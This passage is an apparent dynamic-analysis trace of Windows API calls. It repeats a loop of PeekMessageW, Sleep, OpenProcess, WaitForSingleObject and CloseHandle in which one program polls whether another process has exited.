hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.445] Sleep (dwMilliseconds=0x1) [0245.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.482] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.492] CloseHandle (hObject=0x2f8) returned 1 [0245.492] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.492] Sleep (dwMilliseconds=0x1) [0245.507] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.508] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.525] CloseHandle (hObject=0x2f8) returned 1 [0245.525] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.525] Sleep (dwMilliseconds=0x1) [0245.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.539] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.555] CloseHandle (hObject=0x2f8) returned 1 [0245.555] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.556] Sleep (dwMilliseconds=0x1) [0245.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.570] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.586] CloseHandle (hObject=0x2f8) returned 1 [0245.586] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.586] Sleep (dwMilliseconds=0x1) [0245.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.602] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.617] CloseHandle (hObject=0x2f8) returned 1 [0245.617] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.617] Sleep (dwMilliseconds=0x1) [0245.634] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.634] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.648] CloseHandle (hObject=0x2f8) returned 1 [0245.648] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.648] Sleep (dwMilliseconds=0x1) [0245.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.664] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.679] CloseHandle (hObject=0x2f8) returned 1 [0245.679] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.679] Sleep (dwMilliseconds=0x1) [0245.698] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.698] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.718] CloseHandle (hObject=0x2f8) returned 1 [0245.718] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.718] Sleep (dwMilliseconds=0x1) [0245.726] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.726] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.742] CloseHandle (hObject=0x2f8) returned 1 [0245.742] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.742] Sleep (dwMilliseconds=0x1) [0245.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.745] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.755] CloseHandle (hObject=0x2f8) returned 1 [0245.755] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.755] Sleep (dwMilliseconds=0x1) [0245.756] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.756] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.778] CloseHandle (hObject=0x2f8) returned 1 [0245.778] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.778] Sleep (dwMilliseconds=0x1) [0245.796] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.796] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.810] CloseHandle (hObject=0x2f8) returned 1 [0245.810] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.810] Sleep (dwMilliseconds=0x1) [0245.831] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.831] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.841] CloseHandle (hObject=0x2f8) returned 1 [0245.841] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.841] Sleep (dwMilliseconds=0x1) [0245.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.856] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.877] CloseHandle (hObject=0x2f8) returned 1 [0245.877] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.877] Sleep (dwMilliseconds=0x1) [0245.888] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.888] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.911] CloseHandle (hObject=0x2f8) returned 1 [0245.912] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.912] Sleep (dwMilliseconds=0x1) [0245.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.920] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.937] CloseHandle (hObject=0x2f8) returned 1 [0245.937] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.937] Sleep (dwMilliseconds=0x1) [0245.938] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.938] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.958] CloseHandle (hObject=0x2f8) returned 1 [0245.958] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.958] Sleep (dwMilliseconds=0x1) [0245.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0245.974] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0245.990] CloseHandle (hObject=0x2f8) returned 1 [0245.990] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0245.990] Sleep (dwMilliseconds=0x1) [0246.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.005] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.021] CloseHandle (hObject=0x2f8) returned 1 [0246.021] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.021] Sleep (dwMilliseconds=0x1) [0246.041] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.041] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.053] CloseHandle (hObject=0x2f8) returned 1 [0246.053] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.053] Sleep (dwMilliseconds=0x1) [0246.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.067] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.083] CloseHandle (hObject=0x2f8) returned 1 [0246.083] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.083] Sleep (dwMilliseconds=0x1) [0246.105] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.105] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.114] CloseHandle (hObject=0x2f8) returned 1 [0246.114] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.114] Sleep (dwMilliseconds=0x1) [0246.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.130] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.145] CloseHandle (hObject=0x2f8) returned 1 [0246.145] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.145] Sleep (dwMilliseconds=0x1) [0246.161] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.161] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.177] CloseHandle (hObject=0x2f8) returned 1 [0246.177] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.177] Sleep (dwMilliseconds=0x1) [0246.192] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.192] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.208] CloseHandle (hObject=0x2f8) returned 1 [0246.208] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.208] Sleep (dwMilliseconds=0x1) [0246.223] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.223] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.242] CloseHandle (hObject=0x2f8) returned 1 [0246.242] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.242] Sleep (dwMilliseconds=0x1) [0246.261] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.261] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.278] CloseHandle (hObject=0x2f8) returned 1 [0246.279] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.279] Sleep (dwMilliseconds=0x1) [0246.286] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.286] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.301] CloseHandle (hObject=0x2f8) returned 1 [0246.302] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.302] Sleep (dwMilliseconds=0x1) [0246.317] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.317] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.333] CloseHandle (hObject=0x2f8) returned 1 [0246.333] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.333] Sleep (dwMilliseconds=0x1) [0246.351] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.351] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.364] CloseHandle (hObject=0x2f8) returned 1 [0246.364] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.364] Sleep (dwMilliseconds=0x1) [0246.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.380] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.407] CloseHandle (hObject=0x2f8) returned 1 [0246.407] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.407] Sleep (dwMilliseconds=0x1) [0246.411] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.411] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.426] CloseHandle (hObject=0x2f8) returned 1 [0246.426] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.427] Sleep (dwMilliseconds=0x1) [0246.442] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.443] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.458] CloseHandle (hObject=0x2f8) returned 1 [0246.458] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.458] Sleep (dwMilliseconds=0x1) [0246.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.473] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.489] CloseHandle (hObject=0x2f8) returned 1 [0246.489] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.489] Sleep (dwMilliseconds=0x1) [0246.505] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.505] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.520] CloseHandle (hObject=0x2f8) returned 1 [0246.520] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.520] Sleep (dwMilliseconds=0x1) [0246.536] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.536] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.551] CloseHandle (hObject=0x2f8) returned 1 [0246.551] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.552] Sleep (dwMilliseconds=0x1) [0246.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.567] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.583] CloseHandle (hObject=0x2f8) returned 1 [0246.583] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.583] Sleep (dwMilliseconds=0x1) [0246.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.598] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.614] CloseHandle (hObject=0x2f8) returned 1 [0246.614] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.614] Sleep (dwMilliseconds=0x1) [0246.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.630] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.645] CloseHandle (hObject=0x2f8) returned 1 [0246.645] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.645] Sleep (dwMilliseconds=0x1) [0246.661] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.661] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.683] CloseHandle (hObject=0x2f8) returned 1 [0246.683] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.683] Sleep (dwMilliseconds=0x1) [0246.692] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.692] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.708] CloseHandle (hObject=0x2f8) returned 1 [0246.708] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.708] Sleep (dwMilliseconds=0x1) [0246.723] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.723] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.739] CloseHandle (hObject=0x2f8) returned 1 [0246.739] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.739] Sleep (dwMilliseconds=0x1) [0246.754] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.755] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.774] CloseHandle (hObject=0x2f8) returned 1 [0246.774] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.774] Sleep (dwMilliseconds=0x1) [0246.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.786] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.806] CloseHandle (hObject=0x2f8) returned 1 [0246.806] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.806] Sleep (dwMilliseconds=0x1) [0246.817] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.817] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.833] CloseHandle (hObject=0x2f8) returned 1 [0246.833] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.833] Sleep (dwMilliseconds=0x1) [0246.848] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.848] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.865] CloseHandle (hObject=0x2f8) returned 1 [0246.865] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.865] Sleep (dwMilliseconds=0x1) [0246.882] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.882] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.901] CloseHandle (hObject=0x2f8) returned 1 [0246.901] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.901] Sleep (dwMilliseconds=0x1) [0246.922] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.922] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.933] CloseHandle (hObject=0x2f8) returned 1 [0246.933] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.933] Sleep (dwMilliseconds=0x1) [0246.942] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.942] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0246.978] CloseHandle (hObject=0x2f8) returned 1 [0246.978] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0246.978] Sleep (dwMilliseconds=0x1) [0246.991] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0246.991] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.005] CloseHandle (hObject=0x2f8) returned 1 [0247.005] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.005] Sleep (dwMilliseconds=0x1) [0247.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.028] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.036] CloseHandle (hObject=0x2f8) returned 1 [0247.036] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.036] Sleep (dwMilliseconds=0x1) [0247.051] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.051] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.067] CloseHandle (hObject=0x2f8) returned 1 [0247.067] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.067] Sleep (dwMilliseconds=0x1) [0247.083] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.083] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.098] CloseHandle (hObject=0x2f8) returned 1 [0247.098] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.098] Sleep (dwMilliseconds=0x1) [0247.114] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.114] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.129] CloseHandle (hObject=0x2f8) returned 1 [0247.130] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.130] Sleep (dwMilliseconds=0x1) [0247.145] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.145] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.161] CloseHandle (hObject=0x2f8) returned 1 [0247.161] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.161] Sleep (dwMilliseconds=0x1) [0247.176] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.176] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.192] CloseHandle (hObject=0x2f8) returned 1 [0247.192] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.192] Sleep (dwMilliseconds=0x1) [0247.208] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.208] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.223] CloseHandle (hObject=0x2f8) returned 1 [0247.223] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.223] Sleep (dwMilliseconds=0x1) [0247.240] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x2f8 [0247.240] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0xa) returned 0x102 [0247.255] CloseHandle (hObject=0x2f8) returned 1 [0247.255] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0247.255] Sleep 